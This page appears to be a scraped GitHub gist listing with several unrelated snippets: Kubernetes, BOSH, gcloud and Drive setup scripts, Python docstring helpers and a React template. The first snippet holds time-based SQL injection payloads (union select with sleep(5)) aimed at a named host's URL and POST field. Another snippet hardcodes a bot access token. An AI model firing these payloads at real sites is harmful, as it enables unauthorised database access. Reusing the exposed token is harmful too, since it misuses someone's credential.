This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
""" | |
module docs | |
""" | |
poc1= "dev.earthonline.tk:9500/index.php?controller=seller&action=categoryAjax&id[]=1%20and%201=1%20union%0dselect%0d1,2,3,4,5,6,7,8,sleep(5)" | |
data = { 'v_old':"1recharge1\"%20%20union%20select%201,2,3,4,5,sleep(5),\"1", "v_pstatus":20, "v_md5str | |
":"98F13708210194C475687BE6106A3B84"} | |
path = "/index.php?controller=block&action=callback&_id=2" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import json | |
import requests | |
from cqhttp_helper import CQHttp | |
bot = CQHttp( | |
access_token="ac0f790e1fb74ebcaf45da77a6f9de47", | |
api_root="http://127.0.0.1:5700") | |
import pdb |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# install bosh cli | |
wget https://github.com/cloudfoundry/bosh-cli/releases/download/v5.3.1/bosh-cli-5.3.1-linux-amd64 | |
chmod +x bosh-cli-5.3.1-linux-amd64 | |
mv bosh-cli-5.3.1-linux-amd64 /usr/local/bin/bosh | |
# nstall package | |
apt-get install -y build-essential zlibc zlib1g-dev ruby ruby-dev openssl libxslt-dev libxml2-dev libssl-dev libreadline6 libreadline6-dev libyaml-dev libsqlite3-dev sqlite3 | |
git clone https://github.com/cloudfoundry/bosh-bootloader bosh && cd bosh | |
wget https://github.com/cloudfoundry/bosh-bootloader/releases/download/v6.10.18/bbl-v6.10.18_linux_x86-64 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import inspect | |
def get_module_function__doc(module): | |
module = __import__(module) | |
name_func_tuples = inspect.getmembers(module, inspect.isfunction) | |
name_func_tuples = [t[1] for t in name_func_tuples if inspect.getmodule(t[1]) == module] | |
tmp = '' | |
for _ in name_func_tuples: | |
tmp = tmp+_.__doc__ | |
print(tmp) | |
get_module_function__doc('command') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from inspect import * | |
def my_selfexplaining_function(): | |
"""This is my function document string""" | |
print getdoc(globals()[getframeinfo(currentframe()).function]) | |
my_selfexplaining_function() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# https://blog.alexellis.io/kubernetes-in-10-minutes/ | |
apt-get update \ | |
&& apt-get install -qy docker.io | |
apt-get update && apt-get install -y apt-transport-https \ | |
&& curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add - | |
echo "deb http://apt.kubernetes.io/ kubernetes-xenial main" > /etc/apt/sources.list.d/kubernetes.list |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export CLOUD_SDK_REPO="cloud-sdk-$(lsb_release -c -s)" | |
echo "deb http://packages.cloud.google.com/apt $CLOUD_SDK_REPO main" | sudo tee -a /etc/apt/sources.list.d/google-cloud-sdk.list | |
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add - | |
sudo apt-get update && sudo apt-get install google-cloud-sdk | |
gcloud init |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React from 'react'; | |
class %CLASS% extends React.Component { | |
render(){ | |
} | |
} | |
export default %CLASS% | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo add-apt-repository ppa:alessandro-strada/google-drive-ocamlfuse-beta | |
sudo apt-get update | |
sudo apt-get install google-drive-ocamlfuse | |
google-drive-ocamlfuse |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt install rlwrap | |
sudo curl https://cht.sh/:cht.sh > /bin/cht.sh | |
sudo chmod +x /bin/cht.sh |